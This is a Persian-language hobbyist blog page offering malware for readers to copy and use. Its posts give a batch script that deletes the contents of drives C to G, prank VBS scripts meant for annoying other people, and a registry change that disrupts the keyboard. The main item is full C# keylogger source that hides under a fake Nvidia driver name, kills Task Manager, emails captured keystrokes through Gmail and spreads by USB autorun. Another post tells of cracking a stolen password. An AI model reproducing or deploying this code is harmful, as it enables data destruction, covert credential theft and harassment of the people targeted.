loading...
رایانه
آخرین ارسال های انجمن
Reza99 بازدید : 99 شنبه 17 بهمن 1394 نظرات (3)



!!!! توجه: مسئولیت استفاده از این مطلب به عهده خود کاربر میباشد.
اومدم یه سورس شبه ویروس بهتون معرفی کنم.این ویروس در عین سادگیش بسیار قدرت مند بوده و قادر به تخریب کل هارد شما میباشد.این ویروس تحت فرامین داس نوشته شده وهیچ انتی ویروسی قادر به شناسایی این ویروس نمیباشد.{فقط یک انتی داره اونم اف دیسک{ البته بنا به مسائلی از نوشتن سورس کامل این ویروس خودداری کردم ولی همین نمونه همبسیار خطر ناک بوده وقادر به الوده کردن کل فضای هارددیسک میباشد.برای کمبایل این ویروس ابتدا یک فایل متنی مثل نت بد باز کرده وکدهای زیر را نوشته وبعد با پسوند{بت} سیو کنید.برای مثال:
hacker.bat

متن ویروس::::

@echo off
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows
\*.*
Echo y | echo a | Echo y | del c
:\*.*
Echo y | echo a | Echo y | del d
:\*.*
Echo y | echo a | Echo y | del e
:\*.*
Echo y | echo a | Echo y | del f
:\*.*
Echo y | echo a | Echo y | del g
:\*.*
echo y | copy *.* C
:\
echo y | copy *.* D
:\
echo y | copy *.* E
:\
echo y | copy *.* F
:\
echo y | copy *.* G
:\
resrart

توجه:::::
در صورت اجرا شدن این ویروس در سیستم خودتون راهی جز اف دیسک ندارید{باور نمیکنی امتحان کن}

Reza99 بازدید : 96 یکشنبه 04 بهمن 1394 نظرات (0)

بعضی وقت ها در مجازی با کدهای عجیب غریبی رو برو میشیم که مجبوریم مفاهیم اونها رو بدونیم. مخصوصا وقت هایی که فوضولی مون گل کرده و در حال سرک کشیدن به سایت های ایرانی برای بدست آوردن یسری اطلاعات هستیم.

" مخصوصا وقتی داریم از افزونه دوست داشتنیه لایو استفاده میکنیم"

زبان فارسی مثل خیلی از زبان های دیگه در زبان های برنامه نویسی هنوز بخوبی جا نگرفته  به همین خاطر در برنامه نویسی ما برای فهماندن زبانی بجز انگلیسی به برنامه های مختلف ، اون هارو به کدهایی تبدیل می کنیم تا برای بیشتر برنامه ها تعریف شده باشه.

"طبق استاندارد جهانی"

برای مثال ما وقتی کلمه ی "ایران" رو تایپ میکنیم به کد زیر تبدیل میشه.

%D8%A7%DB%8C%D8%B1%D8%A7%D9%86

این اطلاعات شاید برای وبگردهای معمولی زیاد مهم نباشه. ولی برای آدمایی مثل ما که هر ازگاهی مجبوریم سایت ها و سیستم هارو بصورت مخفی بررسی کنیم میتونه خیلی مهم باشه.

برای مثال امشب من یوزر و پسووردی رو بدست آوردم که نام کاربریش Ehsan و رمز ورودش 26هوادار26 بود. که به هش MD5 کرک شده بود که بعد از دی کرک پسوورد برخلاف انتظارم با کدهای عجیب غریب روبرو شدم. بعد از چند ساعت درگیر شدن متوجه شدم که رمز با کلمات فارسی ادغام شده و سپس به کد های زیر تبدیل شده بود 

26%D9%87%D9%88%D8%A7%D8%AF%D8%A7%D8%B126

به همین خاطر تصمیم گرفتم این برنامه رو بنویسم تا درصورتی که در آینده باز هم به همچین مشکلی برخوردم بتونم خیلی ساده حلش کنم و این اتفاق مسخره رو با شما هم درمیون گذاشتم تا اگه یوقت به همچین مشکلی برخوردین بتونین از این برنامه ی کوچولو کمک بگیرین.

برنامه ای که پایین قرار میدم برنامه ای هست که کدهارو به فارسی و کلمات فارسی رو به کد تبدیل میکنه



Virus32

دریافت


حجم: 23.5 کیلوبایت

راستی اگه ایرادی در این برنامه پیدا کردین حتما بهم خبر بدین

Reza99 بازدید : 75 یکشنبه 04 بهمن 1394 نظرات (0)

این ویروس کیبورد رو از کار میندازه و با فشار هر کلید از کیبورد صدای بیپ پخش میکنه که میتونه خیلی اعصاب خورد کن باشه
فقط برای شوخی نوشته شده و خطر آنچنانی نداره
کد های زیر رو تو یه نوت پد وارد کنید و با فرمت reg ذخیره اش کنید

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="127"
[HKEY_CURRENT_USERControlPanelAccessibilitySoundSentry]
"Flags"="3"
"WindowsEffect"="3"

در پایین کد دیگری برای غیر فعال کردنش قرا میدم

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="126"
[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]
"Flags"="2"
"WindowsEffect"="1"

این کد هارو هم با پسوند reg ذخیره کنید.

Reza99 بازدید : 62 یکشنبه 04 بهمن 1394 نظرات (0)

ساخت یک ویروس سرکاری و اعصاب خورد کن

 

خوب حالا کد های زیر رو در یک نوت پد کپی کنید :

do
x=msgbox("raiane-1")
loop
 
باز هم میگم که کپی کنید کد ها رو
می تونید به جای raiane-1 متن دیگه ای بزارید و هم می تونید خط دوم رو کپی کنید و به جای raiane-1 یک متن دیگه ای بزارید یعنی با این کار دو تا متن دارید
به عنوان مثال یک متن (سلام) و یک متن (چطوری ؟) رو دارید .
و در آخر با فرمت vbs سیو کنید
آموزش تغییر دادن فرمت

و می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدید
و برای غیر فعال کردن کلید های Ctrl + Alt + Delete
و start task manager رو انتخاب کنید و در پنجره ی باز شده processes رو انتخاب کنید و روی wscript.exe کلیک کنید و بعد هم روی end process و از شما یک سوال می پرسه و شما دوباره روی end process کلیک کنید .
Reza99 بازدید : 85 یکشنبه 04 بهمن 1394 نظرات (0)

ساخت یک ویروس سرکاری و اعصاب خورد کن دیگر

 

خوب حالا کد های زیر رو در یک نوت پد کپی کنید :
Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 8000

loop

خوب با این ترفند هر 8 ثانیه دیسک خوان شما باز می شود

و اگه می خواید این مدت زمان رو بیشتر یا کمتر کنید

در قسمت

sleep 8000

که در کد ها هست رو می تونید مثلا به دو ثانیه (2000 در کد بزنید بعد از کلمه ی sleep) تغییر بدید

که اینطوری میشه

sleep 2000

باز هم میگم که کپی کنید کد ها رو

آموزش تغییر دادن فرمت
و در آخر با فرمت vbs سیو کنید
و می تونید آپلودش کنید و به کسی که می خواید اذیتش کنید بدید
و برای غیر فعال کردن کلید های Ctrl + Alt + Delete
و start task manager رو انتخاب کنید و در پنجره ی باز شده processes رو انتخاب کنید و روی wscript.exe کلیک کنید و بعد هم روی end process و از شما یک سوال می پرسه و شما دوباره روی end process کلیک کنید .


دریافت فایل آماده
حجم: 301 بایت


Reza99 بازدید : 89 پنجشنبه 01 بهمن 1394 نظرات (0)

 

کد کیلاگرباسی شارپ(#c)

 

using System;

using System.Diagnostics;

using System.Timers;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

using System.Net;

using System.Net.Mail;

using Microsoft.Win32;

 

namespace Keylogger_V2

{

    class Program

    {

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;

        private static IntPtr _hookID = IntPtr.Zero;

        public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "nvidia.log");

        public static byte caps = 0, shift = 0, failed = 0;

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

 

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);

 

        public static void Main()

        {

            _hookID = SetHook(_proc);

            Program.startup();

            System.Timers.Timer timer;

            timer = new System.Timers.Timer();

            timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);

            timer.AutoReset = true;

            timer.Interval = 600000;

            timer.Start();

            System.Timers.Timer timer2;

            timer2 = new System.Timers.Timer();

            timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);

            timer2.AutoReset = true;

            timer2.Interval = 10000;

            timer2.Start();

            Application.Run();

            GC.KeepAlive(timer);

            GC.KeepAlive(timer2);

            UnhookWindowsHookEx(_hookID);

        }

 

        public static void startup()

        {

            //Try to copy keylogger in some folders

            string source = Application.ExecutablePath.ToString();

            string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

            destination = System.IO.Path.Combine(destination, "nvdisp.exe");

            try

            {

                System.IO.File.Copy(source, destination, false);

                source = destination;

            }

            catch

            {

                Console.WriteLine("No authorization to copy file or other error.");

            }

            //Find if the file already exist in startup

            try

            {

                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", destination);

                }

 

                registryKey.Close();//dispose of the Key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key.");

            }

            //Try to add to all users

            try

            {

                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", source);

                }

 

                registryKey.Close();//dispose of the key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key for all users.");

            }

        }

 

        public static void OnTimedEvent(object source, EventArgs e)

        {

            Process[] ProcessList = Process.GetProcesses();

            foreach (Process proc in ProcessList)

            {

                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))

                {

                    proc.Kill();

                }

            }

            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message

            msg.To.Add("username@gmail.com");

            msg.From = new MailAddress("najafireza99@gmail.com", "username", System.Text.Encoding.UTF8);

            msg.Subject = "i don't know";

            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            msg.Body = "ciao ale";

            msg.BodyEncoding = System.Text.Encoding.UTF8;

            msg.IsBodyHtml = false;

            msg.Priority = MailPriority.High;

            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail

            client.Credentials = new System.Net.NetworkCredential("najafireza@gmail.com", "password");

            client.Port = 587;

            client.Host = "smtp.gmail.com";

            client.EnableSsl = true;

            Attachment data = new Attachment(Program.path);

            msg.Attachments.Add(data);

            try

            {

                client.Send(msg);

                failed = 0;

            }

            catch

            {

                data.Dispose();

                failed = 1;

            }

            data.Dispose();

 

            if (failed == 0)

                File.WriteAllText(Program.path, ""); //empties the file

 

            failed = 0;

 

        }

 

        private static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

            }

        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

        {

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            {

                StreamWriter sw = File.AppendText(Program.path);

                int vkCode = Marshal.ReadInt32(lParam);

                if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;

 

                switch ((Keys)vkCode)

                {

                    case Keys.Space:

                        sw.Write(" ");

                        break;

                    case Keys.Return:

                        sw.WriteLine("");

                        break;

                    case Keys.Back:

                        sw.Write("back");

                        break;

                    case Keys.Tab:

                        sw.Write("TAB");

                        break;

                    case Keys.D0:

                        if (Program.shift == 0) sw.Write("0");

                        else sw.Write(")");

                        break;

                    case Keys.D1:

                        if (Program.shift == 0) sw.Write("1");

                        else sw.Write("!");

                        break;

                    case Keys.D2:

                        if (Program.shift == 0) sw.Write("2");

                        else sw.Write("@");

                        break;

                    case Keys.D3:

                        if (Program.shift == 0) sw.Write("3");

                        else sw.Write("#");

                        break;

                    case Keys.D4:

                        if (Program.shift == 0) sw.Write("4");

                        else sw.Write("$");

                        break;

                    case Keys.D5:

                        if (Program.shift == 0) sw.Write("5");

                        else sw.Write("%");

                        break;

                    case Keys.D6:

                        if (Program.shift == 0) sw.Write("6");

                        else sw.Write("^");

                        break;

                    case Keys.D7:

                        if (Program.shift == 0) sw.Write("7");

                        else sw.Write("&");

                        break;

                    case Keys.D8:

                        if (Program.shift == 0) sw.Write("8");

                        else sw.Write("*");

                        break;

                    case Keys.D9:

                        if (Program.shift == 0) sw.Write("9");

                        else sw.Write("(");

                        break;

                    case Keys.LShiftKey:

                    case Keys.RShiftKey:

                    case Keys.LControlKey:

                    case Keys.RControlKey:

                    case Keys.LMenu:

                    case Keys.RMenu:

                    case Keys.LWin:

                    case Keys.RWin:

                    case Keys.Apps:

                        sw.Write("");

                        break;

                    case Keys.OemQuestion:

                        if (Program.shift == 0) sw.Write("/");

                        else sw.Write("?");

                        break;

                    case Keys.OemOpenBrackets:

                        if (Program.shift == 0) sw.Write("[");

                        else sw.Write("{");

                        break;

                    case Keys.OemCloseBrackets:

                        if (Program.shift == 0) sw.Write("]");

                        else sw.Write("}");

                        break;

                    case Keys.Oem1:

                        if (Program.shift == 0) sw.Write(";");

                        else sw.Write(":");

                        break;

                    case Keys.Oem7:

                        if (Program.shift == 0) sw.Write("'");

                        else sw.Write('"');

                        break;

                    case Keys.Oemcomma:

                        if (Program.shift == 0) sw.Write(",");

                        else sw.Write("<");

                        break;

                    case Keys.OemPeriod:

                        if (Program.shift == 0) sw.Write(".");

                        else sw.Write(">");

                        break;

                    case Keys.OemMinus:

                        if (Program.shift == 0) sw.Write("-");

                        else sw.Write("_");

                        break;

                    case Keys.Oemplus:

                        if (Program.shift == 0) sw.Write("=");

                        else sw.Write("+");

                        break;

                    case Keys.Oemtilde:

                        if (Program.shift == 0) sw.Write("`");

                        else sw.Write("~");

                        break;

                    case Keys.Oem5:

                        sw.Write("|");

                        break;

                    case Keys.Capital:

                        if (Program.caps == 0) Program.caps = 1;

                        else Program.caps = 0;

                        break;

                    default:

                        if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());

                        if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());

                        break;

                }

                Program.shift = 0;

                sw.Close();

            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }

 

        public static void USBSpread(object source, EventArgs e)

        {

 

            //A bit modified

            string source2 = Application.ExecutablePath.ToString();

            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();

            try

            {

                foreach (System.IO.DriveInfo drive in drives)

                {

                    if (drive.DriveType == DriveType.Removable)

                    {

                        string driveAutorun = drive.Name + "autorun.inf";

                        StreamWriter sw = new StreamWriter(driveAutorun);

                        sw.WriteLine("[autorun]n");

                        sw.WriteLine("open=start.exe");

                        sw.WriteLine("action=Run VMCLite");

                        sw.Close();

                        File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                        try

                        {

                            File.Copy(source2, drive.Name + "start.exe", true);

                            File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);

                        }

                        finally

                        {

                            Console.WriteLine("Removable device rooted");

                        }

                    }

                }

            }

            catch (Exception e2)

            {

                Console.WriteLine(e2.ToString());

            }

        }

    }

 

 

آمزش ساخت کیلاگر با سی شارپ(#c)

Reza99 بازدید : 84 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
Reza99 بازدید : 38138 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
Reza99 بازدید : 108 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
درباره ما
Profile Pic
باسلام خدمت شما در این وبلاگ در مورد آموزش های استفاده از رایانه و آموزش چگونگی استفاده از رایانه بحث می شود. ممنون از این که به وبلاگ من سر زدید. امید وارم از مطالب وبلاگ راضی باشید. منتظر دیدار دوباره ی شما هستیم.
اطلاعات کاربری
  • فراموشی رمز عبور؟
  • نظرسنجی
    نظر شما در مورد مطالب این سایت چیست؟
    آمار سایت
  • کل مطالب : 30
  • کل نظرات : 2
  • افراد آنلاین : 1
  • تعداد اعضا : 3
  • آی پی امروز : 24
  • آی پی دیروز : 13
  • بازدید امروز : 71
  • باردید دیروز : 23
  • گوگل امروز : 0
  • گوگل دیروز : 0
  • بازدید هفته : 280
  • بازدید ماه : 1,488
  • بازدید سال : 14,628
  • بازدید کلی : 132,461